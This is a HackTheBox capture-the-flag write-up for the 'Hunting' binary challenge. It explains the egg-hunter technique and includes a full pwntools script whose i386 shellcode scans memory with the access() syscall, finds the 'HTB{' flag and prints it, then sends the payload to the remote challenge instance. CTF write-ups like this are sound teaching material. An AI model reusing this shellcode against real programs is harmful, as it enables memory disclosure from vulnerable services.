# Hunting - HackTheBox Writeup
## Description
I've hidden the flag very carefully, you'll never manage to find it! Please note that the goal is to find the flag, and not to obtain a shell.
We are provided with a 32-bit ELF binary. So, for this challenge, it's not about obtaining a shell, as the challenge description states; our task is going to be finding the flag hidden inside the binary.
Now, let's analyze the binary in Binary Ninja

In the main function, the program registers a signal handler for `SIGALRM` and uses `mmap` to create a random address where it copies the flag. Then, it creates another `mmap` for user input, reads 60 bytes, and calls it.
Let's step through this in GDB:

I set a breakpoint at the `mmap` function to reach the main function where the magic happens

After stepping through, we find that the dummy flag is copied to the stack

Now, our task is clear. The flag is somewhere in the stack, and we need to prepare a shellcode to print it to stdout. After some research, I decided to use an "EGG Hunter."
## What is an EGG Hunter
An EGG Hunter is a shellcode technique where the process's memory is searched for a specific marker (the "egg") to locate a secondary payload or shellcode.
In our case, we need to search for the flag's signature and print the flag to stdout.
## Solution
First, let's prepare a `pwntools` template to write our payload. For debugging, I'll save the payload as a file to run it in GDB

This simple shellcode tests if our payload works by pushing `0x1337` to the stack and popping it into the `eax` register.
As seen in GDB, our shellcode is about to be called

The small assembly code executes successfully

Great, as we can see from the instruction above, the small assembly code that we've written is gonna be executed.

Okay, our two lines of assembly code have been executed, and as you can see at the top, the `$eax` register has the value of `0x1337`. Now, let's write our payload.
## Breakdown
### Step 1
Before writing our payload, let's figure out what we need to do. Since we are using the `Egg hunter` technique, we need an 8-bytes long signature, which for this challenge, we're going to use `HTB{`. Additionally, since we'll be searching the VAS (Virtual Address Space), we need to check if we have permission to access a memory section while searching.
### Step 2
To check the permission, we can use the syscall `access()`. This syscall allows us to check if we can access a specific memory address; if not, it will set our `al` register to `0xf2` (EFAULT).
### Step 3
After we have located our flag, we need a way to print the value to stdout. To do that, we can use the syscall `write()`.
Now let's write our egg hunter shellcode:
```python
#!/usr/bin/env python3
from pwn import * # importing everything from pwntools to our namespace
import sys
context.arch = "i386" # setting architecture for compiled assembly
assembly = """
setup:
mov eax, 27 # sys_mincore
int 0x80
mov edi, 0x7b425448 # our egg, "HTB{"
mov edx, 0x5fffffff # mem start
next_page:
or dx, 0xfff
test_next:
inc edx # mov one up
pusha
xor ecx, ecx
mov al, 0x21 # syscall_access
lea ebx, [edx + 0x4] # get four byte of the memory
int 0x80 # syscall
cmp al, 0xf2 # check if its EFAULT
popa
jz next_page # if it is move to the next page
cmp [edx], edi # if not check our egg
jnz test_next # if our egg is not equal, move to the next address
push 0x04 # sys_write syscall
pop eax
push 0x01 # STDOUT
pop ebx
mov ecx, edx # bytes to print
push 0x24 # size of the string
pop edx
int 0x80
""" # our raw assembly
payload = asm(assembly) # using pwntools asm() function to compile it into bytes
with open("buff.bin", "wb") as buff:
buff.write(payload)
print("payload saved!")
```
Okay, here is the assembly shellcode. I've written a comment on the shellcode describing what it's doing. At a high level, it sets the egg (`HTB{`) to the `edi` register, then sets VAS memory start for us to search our flag on `edx`. On the `test_next` label, it increments `edx` register and checks if we can `access` that memory section using the `access` syscall.
Then we compare our 4 bytes of egg to a memory section that we can access. It will go through the memory section until we find our flag. Finally, we use our `write` syscall to print the flag to stdout.
Let's test it out using GDB:

Our shellcode started to execute

Awesome! The flag is found, and it's set on the `$ecx` register from the screenshot above. Now, let's test our payload using only the binary, without GDB

Great, it seems to work fine. Now, let's modify our code so that our payload will send the shellcode to the remote instance
```python
#!/usr/bin/env python3
from pwn import * # importing everything from pwntools to our namespace
import sys
context.arch = "i386" # setting architecture for compiled assembly
assembly = """
setup:
mov eax, 27 # sys_mincore
int 0x80
mov edi, 0x7b425448 # our egg, "HTB{"
mov edx, 0x5fffffff # mem start
next_page:
or dx, 0xfff
test_next:
inc edx # mov one up
pusha
xor ecx, ecx
mov al, 0x21 # syscall_access
lea ebx, [edx + 0x4] # get four bytes of the memeory
int 0x80 # syscall
cmp al, 0xf2 # check if its EFAULT
popa
jz next_page # if it is move to the next page
cmp [edx], edi # if not check our egg
jnz test_next # if our egg is not equal, move to the next address
push 0x04 # sys_write syscall
pop eax
push 0x01 # STDOUT
pop ebx
mov ecx, edx # bytes to print
push 0x24 # size of the string
pop edx
int 0x80 # syscall
""" # our raw assembly
payload = asm(assembly) # using pwntools asm() function to compile it into bytes
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} ip:port")
sys.exit(1)
else:
target = sys.argv[1]
host = target.split(":")[0]
port = int(target.split(":")[1])
io = remote(host, port)
io.send(payload) # sending the payload into the process
io.interactive() # going into interactive mode with the process
```
Here is the full code. When given the HTB instance, it will send the shellcode and check if we can get the flag or not.

Awesome! The shellcode worked against the remote instance.
__Reference__:
https://www.hick.org/code/skape/papers/egghunt-shellcode.pdf